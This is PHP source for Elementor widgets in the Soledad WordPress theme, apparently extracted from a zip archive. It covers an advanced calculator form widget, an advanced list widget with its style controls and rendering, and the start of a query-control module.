		$this->add_control(
			'error_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-error div' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'      => 'error_background_color',
				'separator' => 'before',
				'selector'  => '{{WRAPPER}} .penci-advcal-error div'
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'error_box_shadow',
				'selector' => '{{WRAPPER}} .penci-advcal-error div',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'error_typography',
				'selector' => '{{WRAPPER}} .penci-advcal-error div',
			]
		);

		$this->add_responsive_control(
			'error_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-error div' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; height: auto;',
				],
			]
		);

		$this->end_controls_section();
	}

	public function form_fields_render_attributes() {
		$settings = $this->get_settings_for_display();
		$id       = $this->get_id();

		$this->add_render_attribute(
			[
				'wrapper'         => [
					'class' => [
						'elementor-form-fields-wrapper',
					],
				],
				'field-group'     => [
					'class' => [
						'penci-advcal-el-field-group',
					],
				],
				'user_name_label' => [
					'for'   => 'user_name' . $id,
					'class' => [
						'penci-advcal-label',
					]
				],
				'user_name_input' => [
					'type'  => 'text',
					'name'  => 'name',
					'id'    => 'user_name' . $id,
					'class' => [
						'penci-advcal-el-input',
						'penci-advcal-el-form-',
					],
				],

			]
		);
	}

	public function get_attribute_name( $item ) {
		return "form_fields[{$item['custom_id']}]";
	}

	public function get_attribute_id( $item ) {
		return $item['custom_id'];
	}

	protected function make_select_field( $item, $item_index ) {
		$this->add_render_attribute(
			[
				'select-wrapper' . $item_index => [
					'class' => [
						// 'elementor-field',
						// 'elementor-select-wrapper',
						// esc_attr( $item['css_classes'] ),
					],
				],
				'select' . $item_index         => [
					'name'  => $this->get_attribute_name( $item ) . ( ! empty ( $item['allow_multiple'] ) ? '[]' : '' ),
					'id'    => $this->get_attribute_id( $item ),
					'class' => [
						'penci-advcal-el-select',
					],
				],
			]
		);

		$options = preg_split( "/\\r\\n|\\r|\\n/", $item['field_options'] );

		if ( ! $options ) {
			return '';
		}

		?>
		<?php if ( $this->get_settings_for_display( 'show_labels' ) ) : ?>
            <label for="<?php echo wp_kses_post( $this->get_attribute_id( $item ) ); ?>"
                   class="penci-advcal-label">
				<?php echo wp_kses_post( $item['field_label'] ); ?>
            </label>
		<?php endif; ?>
        <div <?php $this->print_render_attribute_string( 'select-wrapper' . esc_attr( $item_index ) ); ?>>
            <select <?php $this->print_render_attribute_string( 'select' . esc_attr( $item_index ) ); ?>>
				<?php
				$i = 1;
				foreach ( $options as $key => $option ) {
					$item['custom_id'] = $i ++;
					$option_id         = $item['custom_id'] . $key . $item_index;
					$option_value      = esc_attr( $option );
					$option_label      = esc_html( $option );

					if ( false !== strpos( $option, '|' ) ) {
						list( $label, $value ) = explode( '|', $option );
						$option_value = esc_attr( $value );
						$option_label = esc_html( $label );
					}

					$this->add_render_attribute( $option_id, 'value', $option_value );

					echo '<option ' . wp_kses_post( $this->get_render_attribute_string( $option_id ) ) . '>' . wp_kses_post( $option_label ) . '</option>';
				}
				?>
            </select>
        </div>
		<?php
	}


	protected function make_radio_checkbox_field( $item, $item_index, $type ) {
		$options = preg_split( "/\\r\\n|\\r|\\n/", $item['field_options'] );
		$html    = '';
		if ( $this->get_settings_for_display( 'show_labels' ) ) {
			$html .= '<label for="' . $this->get_attribute_id( $item ) . '" class="penci-advcal-label">
			' . wp_kses_post( $item['field_label'] ) . '
		</label>';
		}
		if ( $options ) {
			$html .= '<div class="elementor-field-subgroup penci-advcal-el-radio-inline-' . $item['inline_list'] . '">';
			$id   = $this->get_attribute_id( $item );
			foreach ( $options as $key => $option ) {
				$element_id   = $this->get_attribute_id( $item ) . $key;
				$html_id      = $this->get_attribute_id( $item ) . $key;
				$option_label = $option;
				$option_value = $option;
				if ( false !== strpos( $option, '|' ) ) {
					list( $option_label, $option_value ) = explode( '|', $option );
				}

				$this->add_render_attribute(
					$element_id,
					[
						'type'  => $type,
						'value' => $option_value,
						'class' => 'penci-advcal-el-radio',
						'name'  => $id,
					]
				);

				if ( ! empty ( $item['field_value'] ) && $option_value === $item['field_value'] ) {
					$this->add_render_attribute( $element_id, 'checked', 'checked' );
				}

				$html .= '<label id="' . $html_id . '" class="penci-field-option"><input ' . $this->get_render_attribute_string( $element_id ) . '> <span for="' . $html_id . '">' . $option_label . '</span></label>';
			}
			$html .= '</div>';
		}

		return $html;
	}

	private function render_result() {
		$settings = $this->get_settings_for_display();
		?>
        <div class="penci-advcal-field-wrap penci-advcal-el-field-group">
            <div class="penci-advcal-result">
				<?php echo wp_kses_post( $settings['form_result_text'] ); ?> <span></span>
            </div>
        </div>
		<?php
	}

	public function render() {
		$settings   = $this->get_settings_for_display();
		$id         = $this->get_id();
		$element_id = 'penci-advcal-' . $id;
		$formula    = $settings['form_formula'];

		$this->add_render_attribute(
			[
				'button' => [
					'class' => [
						'penci-button',
						'penci-advcal-button',
					],
				],
			]
		);
		$this->add_render_attribute(
			[
				'calculator' => [
					'class'         => 'penci-advcal',
					'id'            => $element_id,
					'data-settings' => [
						wp_json_encode(
							array_filter(
								[
									'id'         => '#' . $element_id,
									"formula"    => "formula:'" . $formula . "'",
									'resultShow' => $settings['form_result_show']
								]
							)
						),
					],
				],
			]
		);

		?>
        <div <?php $this->print_render_attribute_string( 'calculator' ); ?>>
            <div class="penci-advcal-wrapper">
                <form class="penci-advcal-form">
					<?php
					if ( 'top' == $settings['form_result_position'] ) {
						$this->render_result();
					}
					?>
					<?php
					$i                      = 1;
					foreach ( $settings['form_fields'] as $item_index => $item ) :
						$item['custom_id'] = $id . '-' . $i ++;
						$disabled_class     = $item['field_type'] == 'disabled' ? 'penci-advcal-mouse-disabled' : '';


						$field_value = ( $item['field_value'] ) ? strip_tags( $item['field_value'] ) : '';
						$field_value = filter_var( $field_value, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
						$field_value = number_format( (float) $field_value, 2, '.', '' );

						if ( $field_value == '0.00' ) {
							$field_value = $item['field_value'];
						}

						$placeholder = ( $item['placeholder'] ) ? strip_tags( $item['placeholder'] ) : '';
						$placeholder = filter_var( $placeholder, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
						$placeholder = number_format( (float) $placeholder, 2, '.', '' );

						if ( $placeholder == '0.00' ) {
							$placeholder = $item['placeholder'];
						}

						$this->add_render_attribute(
							[
								'field_label' . $item_index => [
									'for'   => $item['custom_id'],
									'class' => [
										'penci-advcal-label',
									]
								],
								'field_input' . $item_index => [
									'type'        => $item['field_type'] != 'disabled' ? $item['field_type'] : 'text',
									'value'       => $field_value,
									'id'          => $item['custom_id'],
									'placeholder' => $placeholder,
									'class'       => [
										'penci-advcal-el-input',
										$disabled_class
									],
								],
							],
							true
						);

						?>
                        <div class="penci-advcal-field-wrap penci-advcal-el-field-group elementor-repeater-item-<?php echo esc_attr( $item['_id'] ); ?>">

							<?php

							switch ( $item['field_type'] ) {
								case 'text':
								case 'number':
									if ( $settings['show_labels'] ) {
										echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'field_label' . $item_index ) ) . '>' . wp_kses_post( $item['field_label'] ) . '</label>';
									}
									echo '<div class="penci-advcal-el-form-controls">';
									echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'field_input' . $item_index ) ) . '>';
									echo '</div>';
									break;

								case 'hidden':
									echo '<div class="penci-advcal-el-form-controls">';
									echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'field_input' . $item_index ) ) . '>';
									echo '</div>';
									break;

								case 'disabled':
									if ( $settings['show_labels'] ) {
										echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'field_label' . $item_index ) ) . '>' . wp_kses_post( $item['field_label'] ) . '</label>';
									}
									echo '<div class="penci-advcal-el-form-controls">';
									echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'field_input' . $item_index ) ) . ' disabled="disabled">';
									echo '</div>';
									break;

								case 'select':
									$this->make_select_field( $item, $item_index );
									break;

								case 'radio':
								case 'checkbox':
									echo $this->make_radio_checkbox_field( $item, esc_attr( $item_index ), esc_html( $item['field_type'] ) );
									break;

								default:
									echo esc_html_x( 'Something wrong!', 'Frontend', 'soledad' );
									break;
							}

							?>

                        </div>
					<?php endforeach; ?>

					<?php if ( $settings['form_result_show'] == 'submit' ) : ?>

                        <div class="penci-advcal-field-wrap">
                            <div class="elementor-field-type-submit">
                                <button <?php $this->print_render_attribute_string( 'button' ); ?> type="submit">
									<?php
									echo esc_html( $settings['button_text'] );
									?>
                                </button>
                            </div>
                        </div>

					<?php endif; ?>


                    <div class="penci-advcal-field-wrap penci-advcal-el-field-group penci-advcal-error penci-advcal-hidden">
                        <div class="penci-advcal-warning" penci-advcal-el-alert>
                            <a class="penci-advcal-close" penci-advcal-el-close></a>
                            <p class="penci-advcal-p">
								<?php echo esc_html( $settings['form_result_error'] ); ?>
                            </p>
                        </div>
                    </div>

					<?php
					if ( 'bottom' == $settings['form_result_position'] ) {
						$this->render_result();
					}
					?>

                </form>
            </div>
        </div>
		<?php
	}
}PK     N\-Tk  k  4  inc/elementor/modules/penci-advanced-list/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAdvancedList;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-advanced-list';
	}

	public function get_widgets() {
		return array( 'PenciAdvancedList' );
	}
}
PK     N\|m.O  O  I  inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAdvancedList\Widgets;


use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciAdvancedList extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci-advanced-list';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Advanced List', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-editor-list-ol';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab
		 */

		/**
		 * General style
		 */
		$this->start_controls_section(
			'general_style_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);

		$this->add_control(
			'general_label_style', array(
				'label'   => __( 'General Label Style:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'style-1',
				'options' => array(
					'style-1' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
					'style-3' => esc_html__( 'Style 3', 'soledad' ),
					'style-4' => esc_html__( 'Style 4', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'general_heading_style', array(
				'label'   => __( 'Heading Title Style:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'style-1',
				'options' => array(
					'style-1' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
					'style-3' => esc_html__( 'Style 3', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'item_col', array(
				'label'   => __( 'Split list menu items in columns?', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '1',
				'options' => array(
					'1' => esc_html__( 'No - Keep in 1 Column', 'soledad' ),
					'2' => esc_html__( '2 Columns', 'soledad' ),
					'3' => esc_html__( '3 Columns', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'item_col_space',
			[
				'label'     => esc_html__( 'Spacing Between Columns', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'condition' => [ 'item_col!' => '1' ],
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list' => '--pcmega-colspace: {{SIZE}}px',
				),
			]
		);

		$this->add_control(
			'menu_title_spacing',
			[
				'label'     => esc_html__( 'Spacing Between Title and List', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list li ul' => 'margin-top: {{SIZE}}px',
				),
			]
		);

		$this->add_control(
			'menu_list_spacing',
			[
				'label'     => esc_html__( 'Spacing Between Item Lists', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list > li > ul li' => 'margin-bottom: {{SIZE}}px',
				),
			]
		);

		$this->end_controls_section();

		/**
		 * General settings
		 */
		$this->start_controls_section(
			'general_section',
			[
				'label' => esc_html__( 'Custom List Items', 'soledad' ),
			]
		);

		$this->start_controls_tabs( 'extra_menu_tabs' );

		$this->start_controls_tab(
			'link_tab',
			[
				'label' => esc_html__( 'Link', 'soledad' ),
			]
		);

		$this->add_control(
			'title',
			[
				'label'   => esc_html__( 'Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'Menu parent item',
			]
		);

		$this->add_control(
			'link',
			[
				'label'   => esc_html__( 'Link', 'soledad' ),
				'type'    => Controls_Manager::URL,
				'default' => [
					'url'         => '#',
					'is_external' => false,
					'nofollow'    => false,
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'label_tab',
			[
				'label' => esc_html__( 'Label', 'soledad' ),
			]
		);

		$this->add_control(
			'label_style', array(
				'label'   => __( 'Label Style:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''        => esc_html__( 'Default From General', 'soledad' ),
					'style-1' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
					'style-3' => esc_html__( 'Style 3', 'soledad' ),
					'style-4' => esc_html__( 'Style 4', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'label',
			[
				'label' => esc_html__( 'Label text (optional)', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			]
		);

		$this->add_control(
			'label_color',
			[
				'label'     => esc_html__( 'Label Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list > li > a .menu-label'        => 'background-color: {{VALUE}}',
					'{{WRAPPER}} .mega-menu-list > li > a .menu-label:before' => 'border-color: {{VALUE}}',
				),
			]
		);

		$this->add_control(
			'label_text_color',
			[
				'label'     => esc_html__( 'Label Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list > li > a .menu-label' => 'color: {{VALUE}}',
				),
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'image_tab',
			[
				'label' => esc_html__( 'Image', 'soledad' ),
			]
		);

		$this->add_control(
			'image',
			[
				'label' => esc_html__( 'Choose image', 'soledad' ),
				'type'  => Controls_Manager::MEDIA,
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image',
				'default'   => 'thumbnail',
				'separator' => 'none',
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'extra_menu_tabs' );

		$repeater->start_controls_tab(
			'link_tab',
			[
				'label' => esc_html__( 'Link', 'soledad' ),
			]
		);

		$repeater->add_control(
			'title',
			[
				'label'   => esc_html__( 'Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'Menu child item',
			]
		);

		$repeater->add_control(
			'link',
			[
				'label'   => esc_html__( 'Link', 'soledad' ),
				'type'    => Controls_Manager::URL,
				'default' => [
					'url'         => '#',
					'is_external' => false,
					'nofollow'    => false,
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'label_tab',
			[
				'label' => esc_html__( 'Label', 'soledad' ),
			]
		);

		$repeater->add_control(
			'label_style', array(
				'label'   => __( 'Label Style:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''        => esc_html__( 'Default From General', 'soledad' ),
					'style-1' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
					'style-3' => esc_html__( 'Style 3', 'soledad' ),
					'style-4' => esc_html__( 'Style 4', 'soledad' ),
				)
			)
		);

		$repeater->add_control(
			'label',
			[
				'label' => esc_html__( 'Label text (optional)', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			]
		);

		$repeater->add_control(
			'label_color',
			[
				'label'     => esc_html__( 'Label Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list ul {{CURRENT_ITEM}} .menu-label'          => 'background-color: {{VALUE}}',
					'body.rtl {{WRAPPER}} .mega-menu-list ul {{CURRENT_ITEM}} .menu-label' => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .mega-menu-list ul {{CURRENT_ITEM}} .menu-label:before'   => 'border-color: {{VALUE}}',
				),
			]
		);

		$repeater->add_control(
			'label_text_color',
			[
				'label'     => esc_html__( 'Label Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list ul {{CURRENT_ITEM}} .menu-label' => 'color: {{VALUE}}',
				),
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'image_tab',
			[
				'label' => esc_html__( 'Image', 'soledad' ),
			]
		);

		$repeater->add_control(
			'image',
			[
				'label' => esc_html__( 'Choose image', 'soledad' ),
				'type'  => Controls_Manager::MEDIA,
			]
		);

		$repeater->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image',
				'default'   => 'thumbnail',
				'separator' => 'none',
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'menu_items_repeater',
			[
				'type'        => Controls_Manager::REPEATER,
				'label'       => esc_html__( 'List items', 'soledad' ),
				'separator'   => 'before',
				'title_field' => '{{{ title }}}',
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'title'       => __( 'Menu child item 1', 'soledad' ),
						'label'       => '',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
					[
						'title'       => __( 'Menu child item  2', 'soledad' ),
						'label'       => 'New',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
					[
						'title'       => __( 'Menu child item 3', 'soledad' ),
						'label'       => '',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
					[
						'title'       => __( 'Menu child item 4', 'soledad' ),
						'label'       => '',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
					[
						'title'       => __( 'Menu child item 5', 'soledad' ),
						'label'       => 'Hot',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
					[
						'title'       => __( 'Menu child item 6', 'soledad' ),
						'label'       => '',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_image',
			array(
				'label' => __( 'Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'header_line_color',
			[
				'label'     => esc_html__( 'Heading Title Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .mega-menu-list > li.heading-style-style-2 > a'       => 'border-bottom-color: {{VALUE}}',
					'{{WRAPPER}} .mega-menu-list > li.heading-style-style-3 > a:after' => 'border-bottom-color: {{VALUE}}',
				],
				'condition' => [
					'general_heading_style' => [ 'style-2', 'style-3' ]
				],
			]
		);

		$this->add_control(
			'header_line_active_color',
			[
				'label'     => esc_html__( 'Heading Title Small Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .mega-menu-list > li.heading-style-style-2 > a:after' => 'background-color: {{VALUE}}',
				],
				'condition' => [ 'general_heading_style' => 'style-2' ],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'menu_title_typo',
				'label'    => __( 'Title Typography', 'soledad' ),
				'selector' => 'html {{WRAPPER}} .mega-menu-list > li > a',
			)
		);

		$this->add_control(
			'menu_title_color',
			[
				'label'     => esc_html__( 'Menu Title color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'html {{WRAPPER}} .mega-menu-list > li > a' => 'color: {{VALUE}}',
				),
			]
		);

		$this->add_control(
			'menu_title_hover_color',
			[
				'label'     => esc_html__( 'Menu Title Hover color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'html {{WRAPPER}} .mega-menu-list > li > a:hover' => 'color: {{VALUE}}',
				),
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'menu_item_typo',
				'label'    => __( 'Menu Item Typography', 'soledad' ),
				'selector' => 'html {{WRAPPER}} .mega-menu-list ul li a',
			)
		);

		$this->add_control(
			'menu_item_color',
			[
				'label'     => esc_html__( 'Menu Item Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'html {{WRAPPER}} .mega-menu-list ul li a' => 'color: {{VALUE}}',
				),
			]
		);

		$this->add_control(
			'menu_item_color_hover',
			[
				'label'     => esc_html__( 'Menu Item Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'html {{WRAPPER}} .mega-menu-list ul li a:hover' => 'color: {{VALUE}}',
				),
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'label_title_typo',
				'label'    => __( 'Label Typography', 'soledad' ),
				'selector' => 'html {{WRAPPER}} .mega-menu-list .menu-label',
			)
		);

		$this->add_control(
			'general_label_color',
			[
				'label'       => esc_html__( 'Label Text Color', 'soledad' ),
				'description' => 'This settings can be overwritten by item setting on Content Tab',
				'type'        => Controls_Manager::COLOR,
				'default'     => '',
				'selectors'   => array(
					'html {{WRAPPER}} .mega-menu-list .menu-label' => 'color: {{VALUE}}',
				),
			]
		);

		$this->add_control(
			'label_bg_color',
			[
				'label'       => esc_html__( 'Label Background Color', 'soledad' ),
				'description' => 'This settings can be overwritten by item setting on Content Tab',
				'type'        => Controls_Manager::COLOR,
				'default'     => '',
				'selectors'   => array(
					'html {{WRAPPER}} .mega-menu-list .menu-label'          => 'background-color: {{VALUE}}',
					'html body.rtl {{WRAPPER}} .mega-menu-list .menu-label' => 'border-color: {{VALUE}}',
					'html {{WRAPPER}} .mega-menu-list .menu-label:before'   => 'border-color: {{VALUE}}',
				),
			]
		);

		$this->end_controls_section();
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		$default_settings = [
			'title'               => '',
			'label_style'         => '',
			'link'                => '',
			'image'               => '',
			'label'               => '',
			'menu_items_repeater' => [],
		];

		$settings = wp_parse_args( $this->get_settings_for_display(), $default_settings );

		$parent_label_style = ! empty( $settings['label_style'] ) ? $settings['label_style'] : $settings['general_label_style'];
		$col                = $settings['item_col'] ? $settings['item_col'] : '1';
		$item_col           = ' pcmg-subcol-' . $col;
		if ( '2' == $col || '3' == $col ) {
			$item_col .= ' penci-clearfix';
		}

		$this->add_render_attribute(
			[
				'parent_ul'    => [
					'class' => [
						'penci-sub-menu',
						'mega-menu-list',
					],
				],
				'parent_li'    => [
					'class' => [
						'item-with-label',
						'heading-style-' . $settings['general_heading_style']
					],
				],
				'parent_title' => [
					'class' => [
						'nav-link-text',
					],
				],
				'parent_label' => [
					'class' => [
						'menu-label',
						'label-' . $parent_label_style,
					],
				],
				'parent_label' => [
					'class' => [
						'menu-label',
						'label-' . $parent_label_style,
					],
				],
			]
		);

		$this->add_inline_editing_attributes( 'parent_title' );
		$this->add_inline_editing_attributes( 'parent_label' );

		$link_attrs = penci_el_get_link_attrs( $settings['link'] );

		?>
        <ul <?php echo $this->get_render_attribute_string( 'parent_ul' ); ?>>
            <li <?php echo $this->get_render_attribute_string( 'parent_li' ); ?>>
				<?php if ( $settings['title'] ) : ?>
                    <a <?php echo $link_attrs; ?>>
						<?php if ( $settings['image'] ) : ?>
							<?php echo penci_get_image_html( $settings, 'image' ); ?>
						<?php endif; ?>

						<?php if ( penci_elementor_is_edit_mode() ) : ?>
                        <span <?php echo $this->get_render_attribute_string( 'parent_title' ); ?>>
							<?php endif; ?>
							<?php echo wp_kses( $settings['title'], penci_allow_html() ); ?>
							<?php if ( penci_elementor_is_edit_mode() ) : ?>
								</span>
					<?php endif; ?>

						<?php if ( $settings['label'] ) : ?>
                            <span <?php echo $this->get_render_attribute_string( 'parent_label' ); ?>>
									<?php echo wp_kses( $settings['label'], penci_allow_html() ); ?>
								</span>
						<?php endif; ?>
                    </a>
				<?php endif; ?>

                <ul class="sub-sub-menu<?php echo $item_col; ?>">
					<?php foreach ( $settings['menu_items_repeater'] as $index => $item ) : ?>
						<?php
						$repeater_li_key    = $this->get_repeater_setting_key( 'li', 'menu_items_repeater', $index );
						$repeater_title_key = $this->get_repeater_setting_key( 'title', 'menu_items_repeater', $index );
						$repeater_label_key = $this->get_repeater_setting_key( 'label', 'menu_items_repeater', $index );

						$label_style = ! empty( $item['label_style'] ) ? $item['label_style'] : $settings['general_label_style'];

						$this->add_render_attribute(
							[
								$repeater_li_key    => [
									'class' => [
										'item-with-label',
										'item-label',
										'elementor-repeater-item-' . $item['_id'],
									],
								],
								$repeater_label_key => [
									'class' => [
										'menu-label',
										'label-' . $label_style
									],
								],
							]
						);

						$this->add_inline_editing_attributes( $repeater_title_key );
						$this->add_inline_editing_attributes( $repeater_label_key );

						$link_attrs = penci_el_get_link_attrs( $item['link'] );
						?>

                        <li <?php echo $this->get_render_attribute_string( $repeater_li_key ); ?>>
                            <a <?php echo $link_attrs; ?>>
								<?php if ( $item['image'] ) : ?>
									<?php echo penci_get_image_html( $item, 'image' ); ?>
								<?php endif; ?>

								<?php if ( penci_elementor_is_edit_mode() ) : ?>
                                <span <?php echo $this->get_render_attribute_string( $repeater_title_key ); ?>>
									<?php endif; ?>
									<?php echo wp_kses( $item['title'], penci_allow_html() ); ?>
									<?php if ( penci_elementor_is_edit_mode() ) : ?>
										</span>
							<?php endif; ?>

								<?php if ( $item['label'] ) : ?>
                                    <span <?php echo $this->get_render_attribute_string( $repeater_label_key ); ?>>
											<?php echo wp_kses( $item['label'], penci_allow_html() ); ?>
										</span>
								<?php endif; ?>
                            </a>
                        </li>
					<?php endforeach; ?>
                </ul>
            </li>
        </ul>
		<?php
	}
}
PK     N\H;>  >  .  inc/elementor/modules/query-control/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\QueryControl;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Module_Base;
use PenciSoledadElementor\Classes\Utils;
use PenciSoledadElementor\Modules\QueryControl\Controls\Penci_Group_Control_Posts;
use PenciSoledadElementor\Modules\QueryControl\Controls\Query;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Module extends Module_Base {

	const QUERY_CONTROL_ID = 'query';

	// Supported objects for query:
	const QUERY_OBJECT_POST = 'post';

	public static $displayed_ids = array();

	public function __construct() {
		parent::__construct();

		$this->add_actions();
	}

	protected function add_actions() {
		add_action( 'elementor/ajax/register_actions', array( $this, 'register_ajax_actions' ) );
		add_action( 'elementor/controls/register', array( $this, 'register_controls' ) );
		add_filter( 'elementor/editor/localize_settings', array( $this, 'localize_settings' ) );
		add_action( 'pre_get_posts', array( $this, 'fix_query_offset' ), 1 );
		add_filter( 'found_posts', array( $this, 'fix_query_found_posts' ), 1, 2 );
		add_filter( 'elementor/query/query_results', array( $this, 'exclude_ele_id' ), 10, 2 );
	}

	public static function get_avoid_list_ids() {
		return self::$displayed_ids;
	}

	public static function add_exclude_controls( $widget ) {

		$widget->add_control(
			'exclude',
			array(
				'label'       => __( 'Exclude', 'soledad' ),
				'type'        => Controls_Manager::SELECT2,
